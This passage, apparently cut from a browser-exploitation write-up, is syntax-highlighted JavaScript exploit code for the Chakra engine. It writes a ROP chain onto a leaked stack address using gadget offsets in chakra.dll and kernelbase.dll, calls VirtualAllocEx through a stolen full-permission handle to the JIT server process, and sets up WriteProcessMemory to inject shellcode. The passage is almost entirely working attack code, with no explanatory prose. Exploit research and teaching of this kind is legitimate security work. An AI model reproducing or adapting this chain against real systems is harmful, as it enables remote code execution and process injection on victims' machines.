<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RDX)</span>
<span class="c1">// Let VirtualAllocEx decide where the memory will be located</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     				   <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// Call KERNELBASE!VirtualAllocEx</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0xff00</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAllocEx address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD flProtect (RSP+0x28) (PAGE_READWRITE)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain</span>
<span class="c1">// Stage 3 -&gt; Write our shellcode into the JIT process</span>

<span class="c1">// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)</span>

<span class="cm">/*
0:015&gt; dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we will store VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x313349</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x1000)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which holds our full perms handle to JIT server</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)</span>
<span class="nx">next</span><span class="p">();</span>                                                                     <span class="c1">// Recall RAX already has a writable pointer in it</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="o">-</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where we have our VirtualAllocEx allocation</span>
<span class="nx">next</span><span class="p">();</span>                                                                            <span class="c1">// (-0x8 to compensate for below where we have to read from the address at +0x8 offset</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x255fa0</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>    	  <span class="c1">// .data section of chakra.dll holding our shellcode</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
